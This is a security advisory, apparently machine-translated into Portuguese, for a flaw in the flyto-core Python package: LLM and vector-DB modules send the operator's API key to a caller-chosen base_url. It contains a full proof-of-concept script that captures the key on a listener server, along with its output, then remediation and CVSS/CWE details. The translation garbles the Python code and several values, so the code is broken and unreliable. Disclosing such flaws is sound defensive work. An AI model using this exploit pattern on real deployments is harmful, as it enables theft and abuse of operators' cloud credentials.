` lm.chat` lê a chave do fornecedor do operador a partir do ambiente (`OPENAI_ API_KEY`, `ANTHROPIC_API_KEY`,...) e envia- a no cabeçalho `Autorização: Portador` para `base_url`, um parâmetro que o chamador controla. `base_url` é apenas verificado contra a guarda SSRF, e a guarda permite qualquer hospedeiro público, apontando `base_url` para o servidor de um atacante, entrega- lhes a chave do operador. as próprias taxas de escala de recompensas do flyto-core " acesso ao ambiente expondo segredos (por exemplo, `ANTHROPIC_ API_KEY`) como High. ` src/core/modules/atomic/llm/chat.py` (`_call_openai`). ```python base_url = params.get('base_url') # chamador controlado se base_url: validate_url_with_env_config(base_url) # verificação SSRF apenas; um host atacante público passa se não api_key: api_key = os.getenv('OPENAI_API_KEY') # chave do operador... url = (base_url ou " 1 ").rstrip('/') + "/chat/completions" headers = {"Autorização": f"Bearer {api_key}"} esperam client.post(url, headers=headers, json=payload) # enviado para base_url ``` A mesma fiação (env key plus call endpoint) existe no `ai.model` (que nem mesmo verifica SSRF `base_url`), `llm.agent` e `vector.connector` (`QDRANT_API_KEY` com um chamador `url`). O controle da SSRF é errado aqui: para alvos privados, mas não faz nada sobre a chave ser enviada para o hospedeiro público de um atacante.
Salvar como `keyexfil_poc.py`, executar com `PYTHONPATH=src/src python keyexfil_poc.py`. Ele define uma chave de operador no ambiente e aponta `base_url` em um servidor de captura local. ```python #!/usr/bin/env python 3 importar asyncio importar os tópicos importar de http.server importar BaseHTTPRequestHandler, HTTPServer Os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET- doNotFleak- 9 f 8 e 7 d 6 c 5 b 4 a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in para o hospedeiro público do atacante CAPTURADO = {}.
classe Atacador(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Autorização") Ln = int( self.headers.get("Content-Longth", 0 )); self.rfile.read(ln) b = b'{"escolhas":[{"mensagem":{"conteúdo":"pwned"},"finish_rason":"parar"}],"usage":{"total_tokens": 1 }}' self.send_response( 200 ); self.send_header("Content-Type", "application/json") self.send_header("Content-Longth", str(len(b))); self.end_headers(); self.wfile.write(b) def log_message( self, *a): passe async def main(): a partir de core.modules.atômico import register_all a partir de core.modules.registry import ModuleRegistry register_all() threading.Thread(target=HTTPServer((" 127.0.0.1 ", 8080 ), Attacker.serve_forever, daemon=True.start() res = aguarde ModuleRegistre.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "base_url": " 8080 ", }, context={}) print("módulo ok:", res.get("ok")) print("Autorização recebida pelo atacante:", CAPTURED.get("auth") se __nom__== "__main__": asyncio.run(main()) ```. ``` módulo ok: Autorização verdadeira recebida pelo atacante: Portador sk- OPERATOR- SECRET- doNotLeak- 9 f 8 e 7 d 6 c 5 b 4 um ```.
Confirmado contra a API em execução também: chamar `llm.chat` com `base_url= não foi bloqueado pela guarda SSRF, por isso o pedido egressou para o servidor público com a tecla do operador anexa. Roubo das chaves LLM/ vector- DB da nuvem do operador, que permite que o atacante fatura e abuse dessas contas e alcance dados disponíveis para a chave. O chamador só precisa influenciar `base_url`, que é alcançable através da superfície do agente MCP ou da API hospedada.
Use apenas a chave de origem ambiental com o objetivo oficial do provedor. Se o chamador fornecer um `base_url` personalizado, exija- os que forneçam o `api_key` explicitamente também, ou verifique `base_url` contra uma lista de endpoints confiáveis — nunca auto- acerte o segredo do operador a um hospedeiro arbitrário. Aplicar o mesmo para `ai.model`, `llm.agent` e `vector.connector` e adicionar validação SSRF para `ai.model`'''''base_url'''. Registro de aconselhamento: GHSA-qq 9 q- xgm 3 - xv 9 g. Identificadores relacionados: CVE- 2026 - 67425.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 30 T 14: 47: 16.000 Z e lista a sua última modificação como 2026 - 07 - 30 T 14: 47: 16.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
Informações sobre software e versão afetadas: pacote flyto-core do PyPI — ECOSISTEM: introduzido 0, corrigido 2.26.7. Classificação e evidência: identificadores de fraqueza CWE- 201, CWE- 522. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.